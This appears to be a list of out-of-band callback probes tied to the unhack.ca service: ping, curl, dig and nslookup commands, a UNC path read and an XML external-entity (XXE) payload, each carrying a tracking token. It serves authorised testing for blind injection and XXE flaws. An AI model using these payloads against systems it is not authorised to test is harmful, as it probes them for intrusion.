$ ping -c1 -p 00bc493b936bfef16b61719a06be1600 unhack.ca
 

$ curl http://unhack.ca/p/bc493b936bfef16b61719a06be16
 

$ dig bc493b936bfef16b61719a06be16 @unhack.ca
 

$ dig bc493b936bfef16b61719a06be16.ns.unhack.ca
 

C:\> nslookup bc493b936bfef16b61719a06be16 unhack.ca
 

C:\> type \\unhack.ca\bc493b936bfef16b61719a06be16\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bc493b936bfef16b61719a06be16">]>
    <foo>&xxe;</foo>